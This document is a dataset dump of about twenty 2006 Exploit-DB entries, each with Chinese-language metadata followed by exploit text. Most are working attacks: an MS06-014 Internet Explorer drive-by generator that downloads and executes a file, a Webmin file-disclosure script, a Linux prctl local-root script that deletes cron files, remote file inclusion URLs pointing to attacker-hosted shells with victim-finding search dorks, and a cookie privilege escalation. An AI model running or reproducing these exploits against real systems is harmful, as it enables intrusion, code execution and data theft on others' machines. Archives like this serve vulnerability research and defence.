QLWD/code_shield huggingface dataset:
标题: PHP Live! 3.2.1 - 'help.php' Remote File Inclusion EDB-ID: 2060 CVE: 2006-3911 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-23 漏洞利用脚本: Advisory: PHPLive 3.2 Remote Injection Vulnerability
 Release Date: 2006/07/23
       Author: magnific
   Discovered: aneurysm.inc security reserach
         Risk: High
Vendor Status: not contacted | no patch available
  Vendor Site: www.osicodes.com
      Contact: aneurysm_inc[at]hotmail[dot]com
      Version: all

-----------
Overview:

Some variables are not properly sanitized before being used.
Here you will find the variables not properly sanitized:

-----------
Vulnerable code:

help.php /setup/header.php etc..

<? $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?>

-----------
Execution:

help.php?css_path=htt://attacker
setup/header.php?css_path=htt://attacker


-----------
Vendor:

At the moment, there are no solutions from the vendor. If you want to make
sure the code and your PHPLIVE you have to sanitize the variable $css_path,
in all files affecteds.
Active SAFE_MODE on server, for local security.

---------------------------
aneurysm.inc security reserach
irc.gigachat.net
#aneurysm.inc
---------------------------

# milw0rm.com [2006-07-23] URL: https://www.exploit-db.com/exploits/2060
标题: Microsoft Internet Explorer - MDAC Remote Code Execution (MS06-014) EDB-ID: 2052 CVE: 2006-0003 类型: REMOTE 平台: WINDOWS 发布日期: 2006-07-21 漏洞利用脚本: #!/bin/sh -
"exec" "python" "-O" "$0" "$@"

__doc__ = """[BL4CK] - MS06-014

RDS.DataStore - Data Execution
CVS-2006-0003
MS06-014

April 2006

*** this is a bit out-dated, but works very well ***

Usage: ./bl4ck_ms06_014.py http://omfg.what.ho.st/~user/stage2.exe index.html

Now upload index.html to the same webserver hosting your
http://omfg.what.ho.st/~user/stage2.exe 

                            - redsand@blacksecurity.org
"""

__version__ = "1.0"

import sys, random

class MS06014:
    
    __version = "'[BL4CK] MS06-014 " + __version__ + "\r\n"


    __html = """
    <title></title>
    <head></head>

    <body>

    <script language="VBScript">

    on error resume next

    BL4CK_PAYLOAD

    </script>
    <head>
    <title>[BL4CK] || 404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    pwn3d!!
    <hr>
    <!-- <script>location.href='http://google.com'</script> -->
    </body>

    </html>

    """

    __payload = """

    ' due to how ajax works, the file MUST be within the same local domain
    dl = "URLFILE"

    ' create adodbstream object
    Set df = document.createElement("object")
    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    str="Microsoft.XMLHTTP"
    Set x = df.CreateObject(str,"")

    a1="Ado"
    a2="db."
    a3="Str"
    a4="eam"
    str1=a1&a2&a3&a4
    str5=str1
    set S = df.createobject(str5,"")
    S.type = 1

    ' xml ajax req
    str6="GET"
    x.Open str6, dl, False
    x.Send

    ' Get temp directory and create our destination name
    fname1="bl4ck.com"
    set F = df.createobject("Scripting.FileSystemObject","")
    set tmp = F.GetSpecialFolder(2) ' Get tmp folder
    fname1= F.BuildPath(tmp,fname1)
    S.open
    ' open adodb stream and write contents of request to file
    ' like vbs dl+exec code
    S.write x.responseBody
    ' Saves it with CreateOverwrite flag
    S.savetofile fname1,2

    S.close
    set Q = df.createobject("Shell.Application","")
    Q.ShellExecute fname1,"","","open",0

    """

    def __init__(self, file):

 self.__file = file



    def bl4ck(self):
 self.__payload = self.__payload.replace("URLFILE",self.__file)

 encoded = self.__payload

 ret = self.__html.replace("BL4CK_PAYLOAD",encoded)

 return ret


if __name__ == '__main__':

 url=False
 out=False

 print "[BL4CK] MS06-014 - redsand@blacksecurity.org"
 print "url path to file must be on the same domain as the htm file"
 print "http://blacksecurity.org\r\n"


 argc = len(sys.argv)
 if(argc <= 2):
         print "USAGE: %s <download url> <outfile>" % sys.argv[0]
         sys.exit(0)
 if(argc > 1):
         url = sys.argv[1]
 if(argc > 2):
         out = sys.argv[2]

        ms = MS06014(url)

        ret = ms.bl4ck()


 try:
     fsock = open(out, "w+", 0)
     try:
         fsock.write(ret );
     finally:
         fsock.close()
 except IOError:
     pass

 print "Wrote %r bytes to: %s" % (len(ret),out)

# milw0rm.com [2006-07-21] URL: https://www.exploit-db.com/exploits/2052
标题: Microsoft Internet Explorer 6 - 'Content-Type' Stack Overflow Crash EDB-ID: 2039 CVE: 2006-5162 类型: DOS 平台: WINDOWS 发布日期: 2006-07-20 漏洞利用脚本: #!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage: 
#   1) run this code
#       2) open http://127.0.0.1/ with IE
#      

use IO::Socket;
my $sock=new IO::Socket::INET (Listen    => 1,
                                 LocalAddr => 'localhost',
                                 LocalPort => 80,
                                 Proto     => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n";
$z=$sock->accept();
print ">connection!\n";
do
{
 $ln=<$z>;
 print $ln;
 chomp $ln;
 
 if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
 {
  print ">sending response\n";
  print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
  close($z);
  exit;
 }
} while (true);

# milw0rm.com [2006-07-20] URL: https://www.exploit-db.com/exploits/2039
标题: SiteDepth CMS 3.0.1 - 'SD_DIR' Remote File Inclusion EDB-ID: 2049 CVE: 2006-3793 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-20 漏洞利用脚本: Title: SiteDepth CMS <= 3.0.1 - Remote File Include Vulnerability
------------------------------------------------------------------
Vendor: SiteDepth.com
URL: http://sitedepth.com
------------------------------------------------------------------
Credits:
Discovered by: "Aesthetico"
http://www.majorsecurity.de
------------------------------------------------------------------

Exploitation:
------------------------------------------------------------------
http://victim.com/constants.php?SD_DIR=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-07-20] URL: https://www.exploit-db.com/exploits/2049
标题: PHP-Post 1.0 - Cookie Modification Privilege Escalation EDB-ID: 2036 CVE: 2006-3772 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-18 漏洞利用脚本: [KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability


Vulnerable product: Tested on PHP-Post 0.21 and 1.0
Vendor: http://php-post.co.uk
Vulnerability: Privilege Escalation


Date:
--------------------
Found: Nov 23, 2005
Vendor Contacted: Jun 01, 2006
Release Date: July 18, 2006

Vulnerability:
--------------------
Privilege Escalation:
PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.
PHP-Post doesn't properly authenticate remote users if auto login is on!
By editing the values of the cookie, an attacker can change their privilege from a regular 
user to administrator and submit it back to the site.


Proof of Concepts:
--------------------
Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

without password ;)


Credit:
--------------------
Farhad Koosha
FarhadKey of KAPDA
farhadkey [at} kapda <d0t> net
Greetz to CVH and Pi3cH :)
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir

# milw0rm.com [2006-07-18] URL: https://www.exploit-db.com/exploits/2036
标题: Mambo Component pc_cookbook 0.3 - Remote File Inclusion EDB-ID: 2024 CVE: 2006-3530 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: ---------------------------------------------------------------------------------
pc_cookbook Joomla Component <= v0.3 Remote File Include Vulnerabilities
---------------------------------------------------------------------------------

Author : Matdhule
Contact : matdhule@gmail.com
Application : pc_cookbook Component
Version : koyans 0.3
URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog

---------------------------------------------------------------------------------
Dork : allinurl:com_pccookbook

Exploit :
http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://evilscript

---------------------------------------------------------------------------------

Greetz : solpot, j4mbi_h4ck3r, h4ntu, the_day, & all crews #mardongan, #jambihackerlink @dalnet

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2024
标题: Mambo Component com_hashcash 1.2.1 - Remote File Inclusion EDB-ID: 2026 CVE: 2006-3750 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: # Hashcash Component

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------ 

Application     : com_hashcash Component
version         : 1.2.1
URL             : http://developer.joomla.org/sf/frs/do/viewRelease/projects.com_hashcash/frs.components.com_hashcash

Exploit:
http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path= http://attacker.com/evil.txt?

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2026
标题: Mambo Component Sitemap 2.0.0 - Remote File Inclusion EDB-ID: 2028 CVE: 2006-3749 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: # Sitemap 2.0.0 for Mambo 4.5.1 CMS

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------ 

Application    : Sitemap 2.0.0 for Mambo 4.5.1 CMS
Version        : Sitemap 2.0.0
URL        : http://mamboxchange.com/frs/download.php/6463/sitemap20.zip

Exploit:
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt? 

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2028
标题: BT Voyager 2091 (Wireless ADSL) - Multiple Vulnerabilities EDB-ID: 2034 CVE: 2006-3561 类型: REMOTE 平台: HARDWARE 发布日期: 2006-07-18 漏洞利用脚本: BT Voyager 2091 (Wireless ADSL) Multiple Vulnerabilities

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2034.tgz (07182006-btvoyager.tgz)

# milw0rm.com [2006-07-18] URL: https://www.exploit-db.com/exploits/2034
标题: Mambo Component pollxt 1.22.07 - Remote File Inclusion EDB-ID: 2029 CVE: 2006-5045 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: Application : pollxt mambo Component
 
URL : http://www.mamboxt.com
 
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_pollxt/conf.pollxt.php on line 1-2
 
require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");

Exploit:
~~~~~~~~

dork: inurl:"com_pollxt"
 
http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
ute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2029
标题: Mambo Component perForms 1.0 - Remote File Inclusion EDB-ID: 2025 CVE: 2006-3774 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: ------------------------------------------------------------------------ ---
perForms <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion
------------------------------------------------------------------------ ---

Remote : Yes
Critical Level : High
Vuln founded in a log file: lazy 0day!!! :D
Description:
~~~~~~~~~~~~
Application : perForms Joomla Component
Version : latest version [1.0]
URL : http://forge.joomla.org/sf/projects/performs
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on in /components/com_performs/com_performs/performs.php on lines 6-10

require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _template.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _valid.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _phpForm.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/myL ib.php" );
require_once($mosConfig_absolute_path."/administrator/components/com_per forms/class.performs.php");

Exploit:
~~~~~~~~
dork: inurl:"com_performs" -> founds ~12.000 sites (!)

http://www.vuln.com/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost

Fix
~~~~
Add before code:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

Thx

~~~~
Who works for better code and better life!
------------------------------------------------------------------------

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2025
标题: Mambo Module HTMLArea3 1.5 - Remote File Inclusion EDB-ID: 2027 CVE: 2006-3751 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: # HTMLArea3 addon - ImageManager

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------ 

Application    : HTMLArea3 addon - ImageManager
Version        : 1.5
URL        : 

Exploit:
http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://evilscript 

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2027
标题: Mambo Component com_loudmouth 4.0j - Remote File Inclusion EDB-ID: 2023 CVE: 2006-3748 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: Bug Found by h4ntu [http://h4ntu.com]  #batamhacker crew
Another Mambo component remote inclusion vulneribility
 
download : http://mamboxchange.com/frs/download.php/7911/com_loudmouth-4.0j.zip

bug found in file abbc.class.php :

include( $GLOBALS['mosConfig_absolute_path'].'/components/com_loudmouth/includes/abbc/abbc.config.php');

http://[site]/[path]/components/com_loudmounth/includes/abbc/abbc.class.php? mosConfig_absolute_path=[attacker]
 
Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2023
标题: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure EDB-ID: 2017 CVE: 2006-3392 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-07-15 漏洞利用脚本: #!/usr/bin/perl
#  Exploit for WEBMIN and USERMIN  less than 1.29x           
#  ARBITARY REMOTE FILE DISCLOSURE
#  WORKS FOR HTTP AND HTTPS (NOW)   
#  Thrusday 13th  July 2006
#  Vulnerability Disclosure at securitydot.net
#  Coded by UmZ! umz32.dll _at_ gmail.com
#  
# 
#
#  Make sure you have LWP before using this exploit.
#  USE IT AT YOUR OWN RISK
#
#  GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................
#  for other.. like AHMED n FAIZ ... (GET A LIFE MAN).



#  Revised on Friday 14th July 2006
use LWP::Simple;
use LWP::UserAgent;
my $userag = LWP::UserAgent->new;
  
if (@ARGV < 4) { 
                    print("Usage: $0 <url> <port> <filename> <target> \n"); 
                    print("TARGETS are\n ");
      print("0  - > HTTP \n");
      print(" 1  - > HTTPS\n");
      print("Define full path with file name \n");
      print("Example: ./webmin.pl blah.com 10000 /etc/passwd\n");
      exit(1); 
                    } 

                    ($target, $port,$filename, $tar) = @ARGV;

  print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n");
  print("Comments and Suggestions are welcome at umz32.dll [at] gmail.com\n");
  print("Vulnerability disclose at securitydot.net\nI am just coding it in perl 'cuz I hate PHP!\n");
  print("Attacking $target on port $port!\n");
  print("FILENAME:  $filename\n");
  

  $temp="/..%01" x 40;
  
  if ($tar == '0')
   { my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
   $content=get $url;

   print("\n FILE CONTENT STARTED");
   print("\n -----------------------------------\n");

   print("$content");
   print("\n -------------------------------------\n");
    }

  
  elsif ($tar == '1')
    {
   my $url= "https://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
   my $req = HTTP::Request->new(GET => $url);
   my $res = $userag->request($req);
     if ($res->is_success) {
          print("FILE CONTENT STARTED\n");
    print("-------------------------------------------\n");
    print $res->as_string;
      print("-------------------------------------------\n");
      }
     else {
         print "Failed: ", $res->status_line, "\n";
          }
   }

# milw0rm.com [2006-07-15] URL: https://www.exploit-db.com/exploits/2017
标题: Mambo Component SMF Forum 1.3.1.3 - Remote File Inclusion EDB-ID: 2021 CVE: 2006-3773 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: **********************************************************
Joomla-SMF Forum Bridge For Mambo 4.5.3+ And Mambo 4.5.3+ 
        Remote File Inclusion Vulnebrality
**********************************************************
Discovered by : ASIANEAGLE 
Remote:Yes
Level:High
---------------------------------------------------------
Application: SMF Forum 1.3.1.3 Bridge Component For Joomla And Mambo
Vulnerable File: smf.php

----------------------------------------------------------------
Exploit: http://[site]/[joomla or mambo path]/components/com_smf/smf.php?mosConfig_absolute_path=http://[evil scripts]
----------------------------------------------------------------------------------------------------------------------

Fixing:

1.Declare variabel $mosConfig_absolute_path or;


2.Add into the top function:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

-----------------------------------------------------------------------------------------------------------------------
Contact:
mail: asianeagle@linuxmail.org
website:http://asianeagle.to.md/

Greetz to: Muhacir, Turkmenux and All Turkish AND Turkmen Hackers

*****ASIANEAGLE SECURITY*****

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2021
标题: mail2forum phpBB Mod 1.2 - 'm2f_root_path' Remote File Inclusion EDB-ID: 2019 CVE: 2006-3735 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: Title : mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities

###############################################################################

Discovered By OLiBekaS

-----------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : mail for phpbb (bulletin board/forum software)
version : latest version [ 1.2 ]
URL : http://www.www.mail2forum.com

-----------------------------------------------------------------------------

dork        : allinurl:/m2f_usercp.php?

Exploit     : 
http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2019
标题: Mambo Component com_videodb 0.3en - Remote File Inclusion EDB-ID: 2020 CVE: 2006-3736 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-17 漏洞利用脚本: com_videodb Mambo Componenet <= 0.3en Remote Include Vulnerability

Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/7942/com_videodb_v0.3en.zip
 
bug found in file : core/videodb.class.xml.php
 
global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );

exploit:
http://[site]/[mambo]/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=[shell]
 
Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-17] URL: https://www.exploit-db.com/exploits/2020
标题: FlushCMS 1.0.0-pre2 - 'class.rich.php' Remote File Inclusion EDB-ID: 2018 CVE: 2006-3755 2006-3754 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-16 漏洞利用脚本: flushcms  (tpath) Remote File Inclusion Vulnerability

virangar security team
www.virangar.org
www.virangar.net
Discoverd By : igi
contact  :  anti_hacker_online@yah00.com
for all member  virangar

bug:
----------------------------------------------------------------------------------------
//language class
require_once($class_path.'rich_files/lang/class.rich_lang.php');
-----------------------------------------------------------------------------------------

simple:http://www.site.com/flushcmd/Include/editor/rich_files/class.rich.php?class_path=http://www.shell.com/shell.txt?

# milw0rm.com [2006-07-16] URL: https://www.exploit-db.com/exploits/2018
标题: Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4) EDB-ID: 2011 CVE: 2006-2451 类型: LOCAL 平台: LINUX 发布日期: 2006-07-14 漏洞利用脚本: #!/bin/sh
#
# PRCTL local root exp By: Sunix
# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp
# tested on Intel(R) Xeon(TM) CPU 3.20GHz
# kernel 2.6.9-22.ELsmp
# maybe others ...
# Tx to drayer & RoMaNSoFt for their clear code...
#
# zmia23@yahoo.com


cat > /tmp/getsuid.c << __EOF__
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);
    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }
    kill(child, SIGSEGV);
    sleep(120);
}
__EOF__

cat > /tmp/s.c << __EOF__
#include<stdio.h>
main(void)
{
setgid(0);
setuid(0);
system("/bin/sh");
system("rm -rf /tmp/s");
system("rm -rf /etc/cron.d/*");
return 0;
}
__EOF__
echo "wait aprox 4 min to get sh"
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh

# milw0rm.com [2006-07-14] URL: https://www.exploit-db.com/exploits/2011